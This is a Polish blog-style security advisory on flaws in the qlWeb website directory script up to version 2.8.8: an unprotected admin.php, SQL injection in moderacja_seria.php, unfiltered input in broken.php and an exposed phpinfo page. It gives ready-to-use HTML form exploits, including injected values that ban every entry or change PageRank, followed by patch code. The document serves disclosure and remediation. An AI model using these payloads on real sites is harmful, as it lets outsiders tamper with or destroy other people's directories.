Aplikacje internetowe

Bełdziowe spojrzenie na aplikacje internetowe

Krytyczny błąd w qlWeb

.

Podatne wersje: qlWeb <= 2.8.8
Niebezpieczeństwo: Wysokie

qlWeb jest najpopularniejszym katalogiem stron internetowych w Polsce. W aktualnej chwili na hasło „powered qlWeb” Google zwraca prawie 3 000 000 stron.

Opis błędu

W głównym katalogu skryptu znajduje się plik admin.php odpowiedzialny między innymi za moderacje stron.

Dostęp do jego zawartości nie jest ograniczony tylko dla admina tak więc mamy wgląd w strony, które oczekują na moderacja.

Plik admin.php odwołuje się do pliku moderacja_seria.php, który umożliwia zatwierdzenia, odrzucenie lub zbanowanie moderowanych stron.

Na skutek dostępu do pliku admin.php oraz braku filtracji niektórych parametrów w pliku moderacja_seria.php mamy możliwość wstrzyknięcia swojego kodu SQL, przez co możemy manipulacji stronami dodanymi do katalogu. Możemy zmienić im PR, tytuł czy po prostu zbanować.

Kolejnym, ale już mniej poważnym błędem jest brak filtracji id niedziałającego linku w pliku broken.php. Dzięki temu możemy wysłać do admina katalogu maila z podaną przez nas treścią.

qlWeb umożliwia również podejrzenie pliku z ustawieniami php poprzez wywołanie pliku pinfo.php.

Dodatkowo wiele plików, do których uzyskujemy dostęp po zalogowaniu nie filtruje wprowadzanych danych co skutkuje możliwością wykonania kilkunastu wstrzyknięć kodu SQL. Nie zostały one tu opisane, ponieważ nie można ich wykonać zdalnie.

Wykorzystanie

1. Samodzielna moderacja wpisu:

<form action="ADRES KATELOGU/admin.php?i=8" method="post">
	<input name="typ" value="dodaj" />
	<input name="ocena[ID STRONY DO ZATWIERDZENIA]" value="999999" />
	<input name="idc[ID STRONY DO ZATWIERDZENIA]" value="aaa" />
	<input type="submit" />
</form>

2. „Wysadzenie” katalogu poprzez zbanowanie wsystkich wpisów:

<form action="ADRES KATALOGU/admin.php?i=8" method="post">
	<input name="typ" value="dodaj" />
	<input name="ocena[12]" value="5, ban=3/*" />
	<input name="idc[12]" value="aaa" />
	<input type="submit" />
</form>

3. Zmiana PageRank

<form action="ADRES KATALOGU/admin.php?i=8" method="post">
	<input name="typ" value="dodaj" />
	<input name="ocena[ID WPISU]" value="5, pr=WARTOSC PR/*" />
	<input name="idc[ID WPISU]" value="aaa" />
	<input type="submit" />
</form>

4. Wysłanie maila o dowolnej treści do admina katalogu:

<form action="ADRES KATALOGU/broken.php?wpis=KOMUNIKAT" method="post">
	<input name="tak" value="Yes" />
	<input type="submit" />
</form>

5. Pokazanie phpinfo( ); :

ADRES KATALOGU/pinfo.php

Zabezpieczenie

Aby zabezpieczyć swój katalog przed ingerencją w istniejące wpisy należy:

1. w pliku admin.php zamienic kod

<?php include('head.php');?>

znajdujący się w 1 lini pliku na :

<?php
	include( 'head.php' );
	if ( !is_logged( ) ) exit;
?>

2. w pliku moderacja_seria.php po

<?php 

dodać

if ( !is_logged( ) ) exit;

3. w pliku broken.php zamienić kod

} elseif ( isset($_POST['tak']) and $_POST['tak'] == 'Yes') {

na

} elseif ( isset($_POST['tak']) and $_POST['tak'] == 'Yes' and $wpis = $USE->check_int( $_GET['wpis'] ) ) {

oraz skasować kod:

$wpis = $_GET['wpis'];

Tagi: , ,
Kategoria: Bezpieczeństwo, BugTraq


Dodaj komentarz